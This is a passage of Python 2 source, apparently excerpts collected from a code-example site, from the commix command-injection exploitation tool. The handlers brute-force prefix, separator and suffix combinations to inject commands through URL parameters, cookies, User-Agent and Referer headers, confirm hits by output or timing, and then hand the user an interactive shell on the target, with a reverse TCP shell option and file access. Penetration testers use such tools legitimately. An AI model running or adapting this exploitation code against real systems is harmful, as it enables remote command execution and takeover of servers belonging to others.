                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print "\n"
                if go_back == True:
                  break
                question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
                if gotshell in settings.CHOICE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        return False
                      elif os_shell_option == "quit": 
                        # Delete previous shell (text) files (output)
                        delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)         
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                          warn_msg = "You are already into an 'os_shell' mode."
                          print settings.print_warning_msg(warn_msg)+ "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                          # Command execution results.
                          shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          err_msg = "The reverse TCP connection has been failed!"
                          print settings.print_critical_msg(err_msg)
                      else:
                        pass
                    else:
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)

                else:
                  if gotshell == "":
                    gotshell = "enter"
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise
Esempio n. 11
0
def cb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False

    injection_type = "Results-based Command Injection"
    technique = "classic injection technique"

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    i = i + 1

                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for i in range(6))

                    randv1 = random.randrange(100)
                    randv2 = random.randrange(100)
                    randvcalc = randv1 + randv2

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    try:
                        if alter_shell:
                            # Classic -alter shell- decision payload (check if host is vulnerable).
                            payload = cb_payloads.decision_alter_shell(
                                separator, TAG, randv1, randv2)
                        else:
                            # Classic decision payload (check if host is vulnerable).
                            payload = cb_payloads.decision(
                                separator, TAG, randv1, randv2)

                        # Define prefixes & suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        if separator == " ":
                            payload = re.sub(" ", "%20", payload)
                        else:
                            payload = re.sub(" ", whitespace, payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write("\n" + Fore.GREY + payload +
                                             Style.RESET_ALL)

                        # if need page reload
                        if menu.options.url_reload:
                            time.sleep(delay)
                            response = urllib.urlopen(url)

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            response = cb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)
                        else:
                            # Check if target host is vulnerable.
                            response, vuln_parameter = cb_injector.injection_test(
                                payload, http_request_method, url)

                        # Evaluate test results.
                        shell = cb_injector.injection_test_results(
                            response, TAG, randvcalc)

                        if not menu.options.verbose:
                            percent = ((i * 100) / total)
                            if percent == 100:
                                if no_result == True:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = str(percent) + "%"
                            elif len(shell) != 0:
                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                            else:
                                percent = str(percent) + "%"
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        raise

                    except:
                        continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            http_request_method = "cookie"
                            found_vuln_parameter = vuln_parameter
                        else:
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.upload_payload(filename, counter, payload)
                        counter = counter + 1

                        # Print the findings to terminal.
                        print Style.BRIGHT + "\n(!) The (" + http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", payload) + Style.RESET_ALL

                        # Check for any enumeration options.
                        cb_enumeration.do_check(separator, TAG, prefix, suffix,
                                                whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell)

                        # Check for any system file access options.
                        cb_file_access.do_check(separator, TAG, prefix, suffix,
                                                whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell)

                        # Pseudo-Terminal shell
                        while True:
                            gotshell = raw_input(
                                "\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > "
                            ).lower()
                            if gotshell in settings.CHOISE_YES:
                                print ""
                                print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
                                while True:
                                    try:
                                        cmd = raw_input("Shell > ")
                                        if cmd == "q":
                                            logs.logs_notification(filename)
                                            sys.exit(0)

                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell)

                                            # if need page reload
                                            if menu.options.url_reload:
                                                time.sleep(delay)
                                                response = urllib.urlopen(url)

                                            # Evaluate injection results.
                                            shell = cb_injector.injection_results(
                                                response, TAG)
                                            if shell:
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                                    except KeyboardInterrupt:
                                        raise

                            elif gotshell in settings.CHOISE_NO:
                                if menu.options.verbose:
                                    sys.stdout.write(
                                        "\r(*) Continue testing the " +
                                        technique + "... ")
                                    sys.stdout.flush()
                                break

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 12
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
  
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  export_injection_info = False
  how_long = 0
  injection_type = "Semiblind Command Injection"
  technique = "tempfile-based injection technique"
  
  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        # Change TAG on every request to prevent false-positive resutls.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

        # The output file for file-based injection technique.
        OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
        alter_shell = menu.options.alter_shell
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Log previous 'how_long' for later comparison
            previous_how_long = how_long

            # Tempfile-based decision payload (check if host is vulnerable).
            if alter_shell :
              payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
            else:
              payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            # Encode payload to Base64
            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
                
            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
              
            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""
            else:
              if how_long == previous_how_long + delay:
                # Time relative false positive fixation.
                if len(TAG) == output_length:
                  tmp_how_long = how_long
                  randv1 = random.randrange(0, 1)
                  randv2 = random.randrange(1, 2)
                  randvcalc = randv1 + randv2
                  cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
                  # Check for false positive resutls
                  how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long)
                
                if str(tmp_how_long) == str(how_long) and \
                   str(output) == str(randvcalc) and \
                   len(TAG) == output_length:
                   
                  is_vulnerable = True
                  if not menu.options.verbose:
                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  break
                    
              else:
                percent = str(float_percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              
          except KeyboardInterrupt: 
            # Delete previous shell (text) files (output) from /tmp
            delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
            raise
          
          except:
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
            if percent == 100:
              if no_result == True:
                if not menu.options.verbose:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
                  sys.stdout.flush()
                else:
                  percent = ""
                break
              else:
                percent = str(float_percent)+"%"
              #Print logs notification message
              percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              print ""
              logs.logs_notification(filename)
              raise
            else:
              percent = str(float_percent)+"%"
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if how_long == previous_how_long + delay:
            if (len(TAG) == output_length) and (is_vulnerable == True):
              found = True
              no_result = False
              is_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
              
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True :
                while True:
                  enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
                  if enumerate_again in settings.CHOISE_YES:
                    tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    break
                  elif enumerate_again in settings.CHOISE_NO: 
                    break
                  elif enumerate_again in settings.CHOISE_QUIT:
                    # Delete previous shell (text) files (output) from /tmp
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)    
                    sys.exit(0)
                  else:
                    if enumerate_again == "":
                      enumerate_again = "enter"
                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True :
                while True:
                  file_access_again = raw_input("(?) Do you want to access files again? [Y/n] > ").lower()
                  if file_access_again in settings.CHOISE_YES:
                    #print ""
                    tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    break
                  elif file_access_again in settings.CHOISE_NO: 
                    break
                  elif file_access_again in settings.CHOISE_QUIT:
                    # Delete previous shell (text) files (output) from /tmp
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    sys.exit(0)
                  else:
                    if file_access_again == "":
                      file_access_again = "enter"
                    print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Check if defined single cmd.
              if menu.options.os_cmd:
                check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                # Exploirt injection result
                tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                # Delete previous shell (text) files (output) from /tmp
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                sys.exit(0)    

              try:    
                # Pseudo-Terminal shell
                go_back = False
                while True:
                  # Delete previous shell (text) files (output) from /tmp
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  if menu.options.verbose:
                  	print ""
                  if go_back == True:
                    break
                  gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
                  if gotshell in settings.CHOISE_YES:
                    print ""
                    print "Pseudo-Terminal (type '?' for shell options)"
                    while True:
                      try:
                        cmd = raw_input("Shell > ")
                        cmd = checks.escaped_cmd(cmd)
                        if cmd.lower() in settings.SHELL_OPTIONS:
                          if cmd == "?":
                            menu.shell_options()
                            continue
                          elif cmd.lower() == "quit":
                            # Delete previous shell (text) files (output) from /tmp
                            delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)                          
                            sys.exit(0)
                          elif cmd.lower() == "back":
                            go_back = True
                            if checks.next_attack_vector(technique, go_back) == True:
                              break
                            else:
                              if no_result == True:
                                return False 
                              else:
                                return True 
                          else:
                            pass
                        else:
                          print ""
                          # The main command injection exploitation.
                          check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                          # Exploirt injection result
                          tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                      except KeyboardInterrupt: 
                        # Delete previous shell (text) files (output) from /tmp
                        delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                        raise
                  elif gotshell in settings.CHOISE_NO:
                    if checks.next_attack_vector(technique, go_back) == True:
                      break
                    else:
                      if no_result == True:
                        return False 
                      else:
                        # Delete previous shell (text) files (output) from /tmp
                        delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                        return True  
                  elif gotshell in settings.CHOISE_QUIT:
                    # Delete previous shell (text) files (output) from /tmp
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    sys.exit(0)
                  else:
                    if gotshell == "":
                      gotshell = "enter"
                    print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                    pass
              except KeyboardInterrupt: 
                # Delete previous shell (text) files (output) from /tmp
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise   
            break
    
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 13
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
    # percent = "0.2"
    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    how_long_statistic = 0
    export_injection_info = False
    how_long = 0
    injection_type = "Semiblind Command Injection"
    technique = "tempfile-based injection technique"

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL

    # percent = str(percent)+ "%"
    # sys.stdout.write("\r(*) Testing the " + technique + "... " +  "[ " + percent + " ]")
    # sys.stdout.flush()

    # Calculate all possible combinations
    total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:
                num_of_chars = num_of_chars + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive resutls.
                TAG = "".join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))

                # The output file for file-based injection technique.
                OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
                alter_shell = menu.options.alter_shell
                tag_length = len(TAG) + 4

                for output_length in range(1, int(tag_length)):
                    try:
                        # Tempfile-based decision payload (check if host is vulnerable).
                        if alter_shell:
                            payload = tfb_payloads.decision_alter_shell(
                                separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method
                            )
                        else:
                            payload = tfb_payloads.decision(
                                separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method
                            )

                        # Fix prefixes / suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        # Encode payload to Base64
                        if menu.options.base64:
                            payload = base64.b64encode(payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write(
                                "\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
                            )

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                            how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                            how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                            how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

                        # Injection percentage calculation
                        percent = (num_of_chars * 100) / total
                        float_percent = "{0:.1f}".format(round(((num_of_chars * 100) / (total * 1.0)), 2))

                        # Statistical analysis in time responses.
                        how_long_statistic = how_long_statistic + how_long

                        # Reset the how_long_statistic counter
                        if output_length == tag_length - 1:
                            how_long_statistic = 0

                        if percent == 100 and no_result == True:
                            if not menu.options.verbose:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = ""
                        else:
                            if (
                                (url_time_response == 0 and (how_long - delay) >= 0)
                                or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
                                or (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1))
                            ):

                                # Time relative false positive fixation.
                                false_positive_fixation = False
                                if settings.TARGET_OS == "win":
                                    if len(TAG) == output_length and how_long > (how_long_statistic / output_length):
                                        false_positive_fixation = True
                                else:
                                    if (
                                        len(TAG) == output_length
                                        and delay == 1
                                        and (how_long_statistic == delay)
                                        or delay > 1
                                        and (how_long_statistic == (output_length + delay))
                                        and how_long == delay + 1
                                    ):
                                        false_positive_fixation = True

                                # Check if false positive fixation is True.
                                if false_positive_fixation:
                                    false_positive_fixation = False
                                    settings.FOUND_HOW_LONG = how_long
                                    settings.FOUND_DIFF = how_long - delay
                                    randv1 = random.randrange(0, 1)
                                    randv2 = random.randrange(1, 2)
                                    randvcalc = randv1 + randv2

                                    if settings.TARGET_OS == "win":
                                        if alter_shell:
                                            cmd = (
                                                settings.WIN_PYTHON_DIR
                                                + 'python.exe -c "print ('
                                                + str(randv1)
                                                + " + "
                                                + str(randv2)
                                                + ')"'
                                            )
                                        else:
                                            cmd = (
                                                "powershell.exe -InputFormat none write ("
                                                + str(randv1)
                                                + " + "
                                                + str(randv2)
                                                + ")"
                                            )
                                    else:
                                        cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"

                                    # Check for false positive resutls
                                    how_long, output = tfb_injector.false_positive_check(
                                        separator,
                                        TAG,
                                        cmd,
                                        prefix,
                                        suffix,
                                        delay,
                                        http_request_method,
                                        url,
                                        vuln_parameter,
                                        OUTPUT_TEXTFILE,
                                        randvcalc,
                                        alter_shell,
                                        how_long,
                                        url_time_response,
                                    )

                                    if (
                                        (url_time_response == 0 and (how_long - delay) >= 0)
                                        or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
                                        or (
                                            url_time_response != 0
                                            and (how_long - delay) > 0
                                            and (how_long >= delay + 1)
                                        )
                                    ):

                                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                                            is_vulnerable = True
                                            how_long_statistic = 0
                                            if not menu.options.verbose:
                                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                            else:
                                                percent = ""
                                    else:
                                        break
                                # False positive
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write(
                                            "\r(*) Testing the " + technique + "... " + "[ " + percent + " ]"
                                        )
                                        sys.stdout.flush()
                                    continue
                            else:
                                if not menu.options.verbose:
                                    percent = str(float_percent) + "%"
                                    sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
                                    sys.stdout.flush()
                                continue
                        if not menu.options.verbose:
                            sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(
                            separator,
                            payload,
                            TAG,
                            cmd,
                            prefix,
                            suffix,
                            http_request_method,
                            url,
                            vuln_parameter,
                            OUTPUT_TEXTFILE,
                            alter_shell,
                            filename,
                        )
                        raise

                    except SystemExit:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(
                            separator,
                            payload,
                            TAG,
                            cmd,
                            prefix,
                            suffix,
                            http_request_method,
                            url,
                            vuln_parameter,
                            OUTPUT_TEXTFILE,
                            alter_shell,
                            filename,
                        )
                        raise

                    except:
